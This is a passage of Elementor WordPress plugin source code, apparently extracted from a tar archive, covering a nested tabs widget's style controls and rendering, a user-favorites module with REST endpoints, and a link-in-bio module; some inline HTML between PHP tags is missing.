Plugin::$instance->breakpoints->get_active_breakpoints() as $breakpoint_key => $breakpoint_instance ) { // Exclude the larger breakpoints from the dropdown selector. if ( in_array( $breakpoint_key, $excluded_breakpoints, true ) ) { continue; } $dropdown_options[ $breakpoint_key ] = sprintf( /* translators: 1: Breakpoint label, 2: `>` character, 3: Breakpoint value. */ esc_html__( '%1$s (%2$s %3$dpx)', 'elementor' ), $breakpoint_instance->get_label(), '>', $breakpoint_instance->get_value() ); } $this->add_control( 'breakpoint_selector', [ 'label' => esc_html__( 'Breakpoint', 'elementor' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Note: Choose at which breakpoint tabs will automatically switch to a vertical (“accordion”) layout.', 'elementor' ), 'options' => $dropdown_options, 'default' => 'mobile', 'prefix_class' => 'e-n-tabs-', ] ); $this->end_controls_section(); $this->start_controls_section( 'section_tabs_style', [ 'label' => esc_html__( 'Tabs', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_responsive_control( 'tabs_title_space_between', [ 'label' => esc_html__( 'Gap between tabs', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 400, ], 'em' => [ 'max' => 40, ], 'rem' => [ 'max' => 40, ], ], 'selectors' => [ '{{WRAPPER}}' => '--n-tabs-title-gap: {{SIZE}}{{UNIT}}', ], ] ); $this->add_responsive_control( 'tabs_title_spacing', [ 'label' => esc_html__( 'Distance from content', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 400, ], 'em' => [ 'max' => 40, ], 'rem' => [ 'max' => 40, ], ], 'selectors' => [ '{{WRAPPER}}' => '--n-tabs-gap: {{SIZE}}{{UNIT}}', ], ] ); $this->start_controls_tabs( 'tabs_title_style' ); $this->start_controls_tab( 'tabs_title_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_group_control( Group_Control_Background::get_type(), [ 'name' => 'tabs_title_background_color', 'types' => [ 'classic', 'gradient' ], 'exclude' => [ 'image' ], 'selector' => '{{WRAPPER}} > .elementor-widget-container > .e-n-tabs > .e-n-tabs-heading > .e-n-tab-title[aria-selected="false"]:not( :hover )', 'fields_options' => [ 'color' => [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'selectors' => [ '{{SELECTOR}}' => 'background: {{VALUE}}', ], ], ], ] ); $this->add_group_control( Group_Control_Border::get_type(), [ 'name' => 'tabs_title_border', 'selector' => "{$heading_selector} > .e-n-tab-title[aria-selected=\"false\"]:not( :hover )", 'fields_options' => [ 'color' => [ 'label' => esc_html__( 'Border Color', 'elementor' ), ], 'width' => [ 'label' => esc_html__( 'Border Width', 'elementor' ), ], ], ] ); $this->add_group_control( Group_Control_Box_Shadow::get_type(), [ 'name' => 'tabs_title_box_shadow', 'label' => esc_html__( 'Shadow', 'elementor' ), 'separator' => 'after', 'selector' => "{$heading_selector} > .e-n-tab-title[aria-selected=\"false\"]:not( :hover )", ] ); $this->end_controls_tab(); $this->start_controls_tab( 'tabs_title_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_group_control( Group_Control_Background::get_type(), [ 'name' => 'tabs_title_background_color_hover', 'types' => [ 'classic', 'gradient' ], 'exclude' => [ 'image' ], 'selector' => "{$heading_selector_non_touch_device} > .e-n-tab-title[aria-selected=\"false\"]:hover", 'fields_options' => [ 'background' => [ 'default' => 'classic', ], 'color' => [ 'global' => [ 'default' => Global_Colors::COLOR_ACCENT, ], 'label' => esc_html__( 'Background Color', 'elementor' ), 'selectors' => [ '{{SELECTOR}}' => 'background: {{VALUE}};', ], ], ], ] ); $this->add_group_control( Group_Control_Border::get_type(), [ 'name' => 'tabs_title_border_hover', 'selector' => "{$heading_selector_non_touch_device} > .e-n-tab-title[aria-selected=\"false\"]:hover", 'fields_options' => [ 'color' => [ 'label' => esc_html__( 'Border Color', 'elementor' ), ], 'width' => [ 'label' => esc_html__( 'Border Width', 'elementor' ), ], ], ] ); $this->add_group_control( Group_Control_Box_Shadow::get_type(), [ 'name' => 'tabs_title_box_shadow_hover', 'label' => esc_html__( 'Shadow', 'elementor' ), 'separator' => 'after', 'selector' => "{$heading_selector_non_touch_device} > .e-n-tab-title[aria-selected=\"false\"]:hover", ] ); $this->add_control( 'hover_animation', [ 'label' => esc_html__( 'Hover Animation', 'elementor' ), 'type' => Controls_Manager::HOVER_ANIMATION, ] ); $this->add_control( 'tabs_title_transition_duration', [ 'label' => esc_html__( 'Transition Duration', 'elementor' ) . ' (s)', 'type' => Controls_Manager::SLIDER, 'selectors' => [ '{{WRAPPER}}' => '--n-tabs-title-transition: {{SIZE}}s', ], 'range' => [ 'px' => [ 'min' => 0, 'max' => 3, 'step' => 0.1, ], ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'tabs_title_active', [ 'label' => esc_html__( 'Active', 'elementor' ), ] ); $this->add_group_control( Group_Control_Background::get_type(), [ 'name' => 'tabs_title_background_color_active', 'types' => [ 'classic', 'gradient' ], 'exclude' => [ 'image' ], 'selector' => "{$heading_selector} > .e-n-tab-title[aria-selected=\"true\"], {$heading_selector_touch_device} > .e-n-tab-title[aria-selected=\"false\"]:hover", 'fields_options' => [ 'background' => [ 'default' => 'classic', ], 'color' => [ 'global' => [ 'default' => Global_Colors::COLOR_ACCENT, ], 'label' => esc_html__( 'Background Color', 'elementor' ), 'selectors' => [ '{{SELECTOR}}' => 'background: {{VALUE}};', ], ], ], ] ); $this->add_group_control( Group_Control_Border::get_type(), [ 'name' => 'tabs_title_border_active', 'selector' => "{$heading_selector} > .e-n-tab-title[aria-selected=\"true\"], {$heading_selector_touch_device} > .e-n-tab-title[aria-selected=\"false\"]:hover", 'fields_options' => [ 'color' => [ 'label' => esc_html__( 'Border Color', 'elementor' ), ], 'width' => [ 'label' => esc_html__( 'Border Width', 'elementor' ), ], ], ] ); $this->add_group_control( Group_Control_Box_Shadow::get_type(), [ 'name' => 'tabs_title_box_shadow_active', 'label' => esc_html__( 'Shadow', 'elementor' ), 'selector' => "{$heading_selector} > .e-n-tab-title[aria-selected=\"true\"], {$heading_selector_touch_device} > .e-n-tab-title[aria-selected=\"false\"]:hover", ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->add_responsive_control( 'tabs_title_border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'separator' => 'before', 'selectors' => [ '{{WRAPPER}}' => '--n-tabs-title-border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_responsive_control( 'padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}}' => '--n-tabs-title-padding-top: {{TOP}}{{UNIT}}; --n-tabs-title-padding-right: {{RIGHT}}{{UNIT}}; --n-tabs-title-padding-bottom: {{BOTTOM}}{{UNIT}}; --n-tabs-title-padding-left: {{LEFT}}{{UNIT}};', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_title_style', [ 'label' => esc_html__( 'Titles', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'title_typography', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_ACCENT, ], 'selector' => "{$heading_selector} > :is( .e-n-tab-title > .e-n-tab-title-text, .e-n-tab-title )", 'fields_options' => [ 'font_size' => [ 'selectors' => [ '{{WRAPPER}}' => '--n-tabs-title-font-size: {{SIZE}}{{UNIT}}', ], ], ], ] ); $this->start_controls_tabs( 'title_style' ); $this->start_controls_tab( 'title_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_control( 'title_text_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}}' => '--n-tabs-title-color: {{VALUE}}', ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'title_text_shadow', 'selector' => "{$heading_selector} > .e-n-tab-title[aria-selected=\"false\"]:not( :hover )", 'fields_options' => [ 'text_shadow_type' => [ 'label' => esc_html__( 'Shadow', 'elementor' ), ], ], ] ); $this->add_group_control( Group_Control_Text_Stroke::get_type(), [ 'name' => 'title_text_stroke', 'selector' => "{$heading_selector} > .e-n-tab-title[aria-selected=\"false\"]:not( :hover ) :is( span, a, i )", 'fields_options' => [ 'text_stroke_type' => [ 'label' => esc_html__( 'Stroke', 'elementor' ), ], ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'title_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_control( 'title_text_color_hover', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} [data-touch-mode="false"] .e-n-tab-title[aria-selected="false"]:hover' => '--n-tabs-title-color-hover: {{VALUE}}', ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'title_text_shadow_hover', 'selector' => "{$heading_selector_non_touch_device} > .e-n-tab-title[aria-selected=\"false\"]:hover", 'fields_options' => [ 'text_shadow_type' => [ 'label' => esc_html__( 'Shadow', 'elementor' ), ], ], ] ); $this->add_group_control( Group_Control_Text_Stroke::get_type(), [ 'name' => 'title_text_stroke_hover', 'selector' => "{$heading_selector_non_touch_device} > .e-n-tab-title[aria-selected=\"false\"]:hover :is( span, a, i )", 'fields_options' => [ 'text_stroke_type' => [ 'label' => esc_html__( 'Stroke', 'elementor' ), ], ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'title_active', [ 'label' => esc_html__( 'Active', 'elementor' ), ] ); $this->add_control( 'title_text_color_active', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}}' => '--n-tabs-title-color-active: {{VALUE}}', ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'title_text_shadow_active', 'selector' => "{$heading_selector} > .e-n-tab-title[aria-selected=\"true\"], {$heading_selector_touch_device} > .e-n-tab-title[aria-selected=\"false\"]:hover", 'fields_options' => [ 'text_shadow_type' => [ 'label' => esc_html__( 'Shadow', 'elementor' ), ], ], ] ); $this->add_group_control( Group_Control_Text_Stroke::get_type(), [ 'name' => 'title_text_stroke_active', 'selector' => "{$heading_selector} > .e-n-tab-title[aria-selected=\"true\"] :is( span, a, i ), {$heading_selector_touch_device} > .e-n-tab-title[aria-selected=\"false\"]:hover :is( span, a, i )", 'fields_options' => [ 'text_stroke_type' => [ 'label' => esc_html__( 'Stroke', 'elementor' ), ], ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); $this->start_controls_section( 'icon_section_style', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $styling_block_start = '--n-tabs-title-direction: column; --n-tabs-icon-order: initial; --n-tabs-title-justify-content-toggle: center; --n-tabs-title-align-items-toggle: initial;'; $styling_block_end = '--n-tabs-title-direction: column; --n-tabs-icon-order: 1; --n-tabs-title-justify-content-toggle: center; --n-tabs-title-align-items-toggle: initial;'; $styling_inline_start = '--n-tabs-title-direction: row; --n-tabs-icon-order: initial; --n-tabs-title-justify-content-toggle: initial; --n-tabs-title-align-items-toggle: center;'; $styling_inline_end = '--n-tabs-title-direction: row; --n-tabs-icon-order: 1; --n-tabs-title-justify-content-toggle: initial; --n-tabs-title-align-items-toggle: center;'; $this->add_responsive_control( 'icon_position', [ 'label' => esc_html__( 'Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'block-start' => [ 'title' => esc_html__( 'Above', 'elementor' ), 'icon' => 'eicon-v-align-top', ], 'inline-end' => [ 'title' => esc_html__( 'After', 'elementor' ), 'icon' => 'eicon-h-align-' . $end, ], 'block-end' => [ 'title' => esc_html__( 'Below', 'elementor' ), 'icon' => 'eicon-v-align-bottom', ], 'inline-start' => [ 'title' => esc_html__( 'Before', 'elementor' ), 'icon' => 'eicon-h-align-' . $start, ], ], 'selectors_dictionary' => [ // The toggle variables for 'align items' and 'justify content' have been added to separate the styling of the two 'flex direction' modes. 'block-start' => $styling_block_start, 'inline-end' => $styling_inline_end, 'block-end' => $styling_block_end, 'inline-start' => $styling_inline_start, // Styling duplication for BC reasons. 'top' => $styling_block_start, 'bottom' => $styling_block_end, 'start' => $styling_inline_start, 'end' => $styling_inline_end, ], 'selectors' => [ '{{WRAPPER}}' => '{{VALUE}}', ], ] ); $this->add_responsive_control( 'icon_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'max' => 100, ], 'em' => [ 'max' => 10, ], 'rem' => [ 'max' => 10, ], ], 'size_units' => [ 'px', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}}' => '--n-tabs-icon-size: {{SIZE}}{{UNIT}}', ], ] ); $this->add_responsive_control( 'icon_spacing', [ 'label' => esc_html__( 'Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'max' => 400, ], 'vw' => [ 'max' => 50, 'step' => 0.1, ], ], 'size_units' => [ 'px', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}}' => '--n-tabs-icon-gap: {{SIZE}}{{UNIT}}', ], ] ); $this->start_controls_tabs( 'icon_style_states' ); $this->start_controls_tab( 'icon_section_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_control( 'icon_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}}' => '--n-tabs-icon-color: {{VALUE}};', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'icon_section_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_control( 'icon_color_hover', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} [data-touch-mode="false"] .e-n-tab-title[aria-selected="false"]:hover' => '--n-tabs-icon-color-hover: {{VALUE}};', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'icon_section_active', [ 'label' => esc_html__( 'Active', 'elementor' ), ] ); $this->add_control( 'icon_color_active', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}}' => '--n-tabs-icon-color-active: {{VALUE}};', ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); $this->start_controls_section( 'section_box_style', [ 'label' => esc_html__( 'Content', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_group_control( Group_Control_Background::get_type(), [ 'name' => 'box_background_color', 'types' => [ 'classic', 'gradient' ], 'exclude' => [ 'image' ], 'selector' => $content_selector, 'fields_options' => [ 'color' => [ 'label' => esc_html__( 'Background Color', 'elementor' ), ], ], ] ); $this->add_group_control( Group_Control_Border::get_type(), [ 'name' => 'box_border', 'selector' => $content_selector, 'fields_options' => [ 'color' => [ 'label' => esc_html__( 'Border Color', 'elementor' ), ], 'width' => [ 'label' => esc_html__( 'Border Width', 'elementor' ), ], ], ] ); $this->add_responsive_control( 'box_border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ $content_selector => '--border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_group_control( Group_Control_Box_Shadow::get_type(), [ 'name' => 'box_shadow_box_shadow', 'selector' => $content_selector, 'condition' => [ 'box_height!' => 'height', ], ] ); $this->add_responsive_control( 'box_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ $content_selector => '--padding-top: {{TOP}}{{UNIT}}; --padding-right: {{RIGHT}}{{UNIT}}; --padding-bottom: {{BOTTOM}}{{UNIT}}; --padding-left: {{LEFT}}{{UNIT}};', ], ] ); $this->end_controls_section(); } protected function render_tab_titles_html( $item_settings ): void { $setting_key = $this->get_repeater_setting_key( 'tab_title', 'tabs', $item_settings['index'] ); $title = $item_settings['item']['tab_title']; $css_classes = [ 'e-n-tab-title' ]; if ( $item_settings['settings']['hover_animation'] ) { $css_classes[] = 'elementor-animation-' . $item_settings['settings']['hover_animation']; } $this->add_render_attribute( $setting_key, [ 'id' => $item_settings['tab_id'], 'class' => $css_classes, 'aria-selected' => 1 === $item_settings['tab_count'] ? 'true' : 'false', 'data-tab-index' => $item_settings['tab_count'], 'role' => 'tab', 'tabindex' => 1 === $item_settings['tab_count'] ? '0' : '-1', 'aria-controls' => $item_settings['container_id'], 'style' => '--n-tabs-title-order: ' . $item_settings['tab_count'] . ';', ] ); ?> is_active_icon_exist( $item_settings['item'] ) ? $item_settings['item']['tab_icon_active'] : $icon_settings; ?> print_render_attribute_string( 'tab-icon' ); ?>> 'true' ] ); ?> 'true' ] ); ?> $item ) { $item_settings = $this->tab_item_settings[ $index ]; $this->print_child( $item_settings['index'], $item_settings ); } } /** * Print the content area. * * @param int $index * @param array $item_settings */ public function print_child( $index, $item_settings = [] ) { $children = $this->get_children(); $child_ids = []; foreach ( $children as $child ) { $child_ids[] = $child->get_id(); } // Add data-tab-index attribute to the content area. $add_attribute_to_container = function ( $should_render, $container ) use ( $item_settings, $child_ids ) { if ( in_array( $container->get_id(), $child_ids ) ) { $this->add_attributes_to_container( $container, $item_settings ); } return $should_render; }; add_filter( 'elementor/frontend/container/should_render', $add_attribute_to_container, 10, 3 ); if ( isset( $children[ $index ] ) ) { $children[ $index ]->print_element(); } remove_filter( 'elementor/frontend/container/should_render', $add_attribute_to_container ); } protected function add_attributes_to_container( $container, $item_settings ) { $container->add_render_attribute( '_wrapper', [ 'id' => $item_settings['container_id'], 'role' => 'tabpanel', 'aria-labelledby' => $item_settings['tab_id'], 'data-tab-index' => $item_settings['tab_count'], 'style' => '--n-tabs-title-order: ' . $item_settings['tab_count'] . ';', 'class' => 0 === $item_settings['index'] ? 'e-active' : '', ] ); } protected function render() { $settings = $this->get_settings_for_display(); $widget_number = $this->get_id_int(); if ( ! empty( $settings['link'] ) ) { $this->add_link_attributes( 'elementor-tabs', $settings['link'] ); } $this->add_render_attribute( 'elementor-tabs', [ 'class' => 'e-n-tabs', 'data-widget-number' => $widget_number, 'aria-label' => esc_html__( 'Tabs. Open items with Enter or Space, close with Escape and navigate using the Arrow keys.', 'elementor' ), ] ); $this->add_render_attribute( 'tab-title-text', 'class', 'e-n-tab-title-text' ); $this->add_render_attribute( 'tab-icon', 'class', 'e-n-tab-icon' ); $this->add_render_attribute( 'tab-icon-active', 'class', [ 'e-n-tab-icon' ] ); ?>
print_render_attribute_string( 'elementor-tabs' ); ?>>
$item ) { $tab_count = $index + 1; $tab_id = empty( $item['element_id'] ) ? 'e-n-tab-title-' . $widget_number . $tab_count : $item['element_id']; $item_settings = [ 'index' => $index, 'tab_count' => $tab_count, 'tab_id' => $tab_id, 'container_id' => 'e-n-tab-content-' . $widget_number . $tab_count, 'widget_number' => $widget_number, 'item' => $item, 'settings' => $settings, ]; $this->tab_item_settings[] = $item_settings; $this->render_tab_titles_html( $item_settings ); } ?>
render_tab_containers_html( $settings ); ?>
experiments->is_feature_active( 'e_nested_atomic_repeaters' ) ) { return array_merge( parent::get_initial_config(), [ 'support_improved_repeaters' => true, 'target_container' => [ '.e-n-tabs-heading' ], 'node' => 'button', ] ); } return parent::get_initial_config(); } protected function content_template_single_repeater_item() { ?> <# const tabIndex = view.collection.length, elementUid = view.getIDInt().toString(), item = data, hoverAnimationSetting = view?.container?.settings?.attributes?.hover_animation; hoverAnimationClass = hoverAnimationSetting ? `elementor-animation-${ hoverAnimationSetting }` : ''; #> content_template_single_item( '{{ tabIndex }}', '{{ item }}', '{{ elementUid }}', '{{ hoverAnimationClass }}' ); } protected function content_template() { ?> <# const elementUid = view.getIDInt().toString(); #>
<# if ( settings['tabs'] ) { #>
<# _.each( settings['tabs'], function( item, index ) { const tabIndex = index, hoverAnimationSetting = settings['hover_animation'], hoverAnimationClass = hoverAnimationSetting ? `elementor-animation-${ hoverAnimationSetting }` : ''; #> content_template_single_item( '{{ tabIndex }}', '{{ item }}', '{{ elementUid }}', '{{ hoverAnimationClass }}' ); ?> <# } ); #>
<# } #>
<# const tabCount = tabIndex + 1, tabId = item.element_id ? item.element_id : 'e-n-tab-title-' + elementUid + ( tabIndex + 1 ), tabUid = elementUid + tabCount, tabIcon = elementor.helpers.renderIcon( view, item.tab_icon, { 'aria-hidden': true }, 'i' , 'object' ), activeTabIcon = item.tab_icon_active.value ? elementor.helpers.renderIcon( view, item.tab_icon_active, { 'aria-hidden': true }, 'i' , 'object' ) : tabIcon, escapedHoverAnimationClass = _.escape( hoverAnimationClass ); view.addRenderAttribute( 'tab-title', { 'id': tabId, 'class': [ 'e-n-tab-title',escapedHoverAnimationClass ], 'data-tab-index': tabCount, 'role': 'tab', 'aria-selected': 1 === tabCount ? 'true' : 'false', 'tabindex': 1 === tabCount ? '0' : '-1', 'aria-controls': 'e-n-tab-content-' + tabUid, 'style': '--n-tabs-title-order: ' + tabCount + ';', }, null, true ); view.addRenderAttribute( 'tab-title-text', { 'class': [ 'e-n-tab-title-text' ], 'data-binding-type': 'repeater-item', 'data-binding-repeater-name': 'tabs', 'data-binding-setting': [ 'tab_title' ], 'data-binding-index': tabCount, 'data-binding-dynamic': 'true', }, null, true ); view.addRenderAttribute( 'tab-icon', { 'class': [ 'e-n-tab-icon' ], 'data-binding-type': 'repeater-item', 'data-binding-repeater-name': 'tabs', 'data-binding-setting': [ 'tab_icon', 'tab_icon_active' ], 'data-binding-index': tabCount, }, null, true ); #> register( Widgets::class ); $this->populate(); Plugin::instance()->data_manager_v2->register_controller( new Controller() ); add_filter( 'elementor/tracker/send_tracking_data_params', [ $this, 'add_tracking_data' ] ); } /** * Add usage data related to favorites. * * @param $params * * @return array */ public function add_tracking_data( $params ) { $params['usages']['favorites'] = $this->get(); return $params; } public function get_name() { return 'favorites'; } /** * Get user favorites by type. * * @param string[]|string $type * * @return array */ public function get( $type = null ) { if ( null === $type ) { $type = array_keys( $this->types ); } if ( is_array( $type ) ) { return array_intersect_key( $this->combined(), array_flip( (array) $type ) ); } return $this->type_instance( $type ) ->values(); } /** * Merge new user favorites to a type. * * @param string $type * @param array|string $favorites * @param bool $store * * @return array|bool */ public function merge( $type, $favorites, $store = true ) { return $this->update( $type, $favorites, static::ACTION_MERGE, $store ); } /** * Delete existing favorites from a type. * * @param string $type * @param array|string $favorites * @param bool $store * * @return array|int */ public function delete( $type, $favorites, $store = true ) { return $this->update( $type, $favorites, static::ACTION_DELETE, $store ); } /** * Update favorites on a type by merging or deleting from it. * * @param $type * @param $favorites * @param $action * @param bool $store * * @return array|boolean */ public function update( $type, $favorites, $action, $store = true ) { $type_instance = $this->type_instance( $type ); $favorites = $type_instance->prepare( $favorites ); switch ( $action ) { case static::ACTION_MERGE: $type_instance->merge( $favorites ); break; case static::ACTION_DELETE: $type_instance->filter( function( $value ) use ( $favorites ) { return ! in_array( $value, $favorites, true ); } ); break; default: $this->action_doesnt_exists( $action ); } if ( $store && ! $this->store() ) { return false; } return $type_instance->values(); } /** * Get registered favorites type instance. * * @param string $type * * @return Favorites_Type */ public function type_instance( $type ) { return $this->types[ $type ]; } /** * Register a new type class. * * @param string $class */ public function register( $class ) { $type_instance = new $class(); $this->types[ $type_instance->get_name() ] = $type_instance; } /** * Returns all available types keys. * * @return string[] */ public function available() { return array_keys( $this->types ); } /** * Combine favorites from all types into a single array. * * @return array */ protected function combined() { $all = []; foreach ( $this->types as $type ) { $favorites = $type->values(); if ( ! empty( $favorites ) ) { $all[ $type->get_name() ] = $favorites; } } return $all; } /** * Populate all type classes with the stored data. */ protected function populate() { $combined = $this->retrieve(); foreach ( $this->types as $key => $type ) { if ( isset( $combined[ $key ] ) ) { $type->merge( $combined[ $key ] ); } } } /** * Retrieve stored user favorites types. * * @return mixed|false */ protected function retrieve() { return get_user_option( static::OPTION_NAME ); } /** * Update all changes to user favorites type. * * @return int|bool */ protected function store() { return update_user_option( get_current_user_id(), static::OPTION_NAME, $this->combined() ); } /** * Throw action doesn't exist exception. * * @param string $action */ public function action_doesnt_exists( $action ) { throw new \InvalidArgumentException( sprintf( "Action '%s' to apply on favorites doesn't exists", $action ) ); } } modules/favorites/controller.php000064400000003720147206604650013126 0ustar00get_module(); $type = $request->get_param( 'id' ); $favorite = $request->get_param( 'favorite' ); $module->update( $type, $favorite, $module::ACTION_MERGE ); return $module->get( $type ); } public function delete_item( $request ) { $module = $this->get_module(); $type = $request->get_param( 'id' ); $favorite = $request->get_param( 'favorite' ); $module->update( $type, $favorite, $module::ACTION_DELETE ); return $module->get( $type ); } public function create_item_permissions_check( $request ) { return current_user_can( 'edit_posts' ); } public function delete_item_permissions_check( $request ) { return $this->create_item_permissions_check( $request ); } /** * Get the favorites module instance. * * @return Module */ protected function get_module() { return Plugin::instance()->modules_manager->get_modules( 'favorites' ); } public function register_endpoints() { $this->index_endpoint->register_item_route( \WP_REST_Server::CREATABLE, [ 'id_arg_type_regex' => '[\w]+', 'id' => [ 'description' => 'Type of favorites.', 'type' => 'string', 'required' => true, ], 'favorite' => [ 'description' => 'The favorite slug to create.', 'type' => 'string', 'required' => true, ], ] ); $this->index_endpoint->register_item_route( \WP_REST_Server::DELETABLE, [ 'id_arg_type_regex' => '[\w]+', 'id' => [ 'description' => 'Type of favorites.', 'type' => 'string', 'required' => true, ], 'favorite' => [ 'description' => 'The favorite slug to delete.', 'type' => 'string', 'required' => true, ], ] ); } } modules/favorites/types/widgets.php000064400000002767147206604650013567 0ustar00get_available() ); } /** * Get all available widgets. * * @return string[] */ public function get_available() { return array_merge( array_keys( Plugin::instance()->widgets_manager->get_widget_types() ), array_keys( Plugin::instance()->elements_manager->get_element_types() ) ); } /** * Update the categories of a widget inside a filter. * * @param $document */ public function update_widget_categories( $document ) { foreach ( $this->values() as $favorite ) { $widget = Plugin::$instance->widgets_manager->get_widget_types( $favorite ); // If it's not a widget, maybe it's an element. if ( ! $widget ) { $widget = Plugin::$instance->elements_manager->get_element_types( $favorite ); } if ( $widget ) { $widget->set_config( 'categories', [ static::CATEGORY_SLUG ] ); } } } } modules/favorites/favorites-type.php000064400000001446147206604650013727 0ustar00values(); } if ( ! is_array( $favorites ) ) { return [ $favorites ]; } return $favorites; } } modules/link-in-bio/module.php000064400000002577147206604650012347 0ustar00 self::EXPERIMENT_NAME, 'title' => esc_html__( 'Link In Bio', 'elementor' ), 'hidden' => true, 'default' => Manager::STATE_ACTIVE, 'release_status' => Manager::RELEASE_STATUS_STABLE, 'mutable' => false, ]; } public function __construct() { parent::__construct(); add_action( 'elementor/frontend/after_register_styles', [ $this, 'register_styles' ] ); } /** * Register styles. * * At build time, Elementor compiles `/modules/link-in-bio/assets/scss/frontend.scss` * to `/assets/css/widget-link-in-bio.min.css`. * * @return void */ public function register_styles() { wp_register_style( 'widget-link-in-bio', $this->get_css_assets_url( 'widget-link-in-bio', null, true, true ), [ 'elementor-frontend' ], ELEMENTOR_VERSION ); } } modules/link-in-bio/classes/render/core-render.php000064400000001502147206604650016166 0ustar00build_layout_render_attribute(); ?>
widget->get_render_attribute_string( 'layout' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
widget = $widget; $this->settings = $widget->get_settings_for_display(); } protected function render_image_links(): void { $image_links_value_initial = $this->settings['image_links'] ?? []; $image_links_columns_value = $this->settings['image_links_per_row'] ?? 2; /** * if empty returns a sub-array with all empty values * Check for this here to avoid rendering container when empty */ $image_links_value = $this->clean_array( $image_links_value_initial ); $has_image_links = ! empty( $image_links_value ); if ( ! $has_image_links ) { return; } $image_links_classnames = 'e-link-in-bio__image-links'; if ( ! empty( $image_links_columns_value ) ) { $image_links_classnames .= ' has-' . $image_links_columns_value . '-columns'; } $this->widget->add_render_attribute( 'image-links', [ 'class' => $image_links_classnames, ] ); ?>
widget->get_render_attribute_string( 'image-links' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> $image_link ) { $formatted_link = $image_link['image_links_url']['url'] ?? ''; $image_link_image = $image_link['image_links_image'] ?? []; // Manage Link class variations $image_link_classnames = 'e-link-in-bio__image-links-link'; // Manage Link attributes $url_attrs = [ 'class' => $image_link_classnames, 'href' => esc_url( $formatted_link ), ]; $url_combined_attrs = $this->get_link_attributes( $image_link['image_links_url'], $url_attrs ); foreach ( $url_combined_attrs as $attr_key => $attr_value ) { $this->widget->add_render_attribute( 'image-links-link' . $key, [ $attr_key => $attr_value, ] ); } ?> widget->get_render_attribute_string( 'image-links-link' . $key ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> 'e-link-in-bio__image-links-img', ] ); } else { $this->widget->add_render_attribute( 'image-links-img-' . $key, [ 'alt' => '', 'class' => 'e-link-in-bio__image-links-img', 'src' => esc_url( $image_link_image['url'] ), ] ); ?> widget->get_render_attribute_string( 'image-links-img-' . $key ); // phpcs:ignore 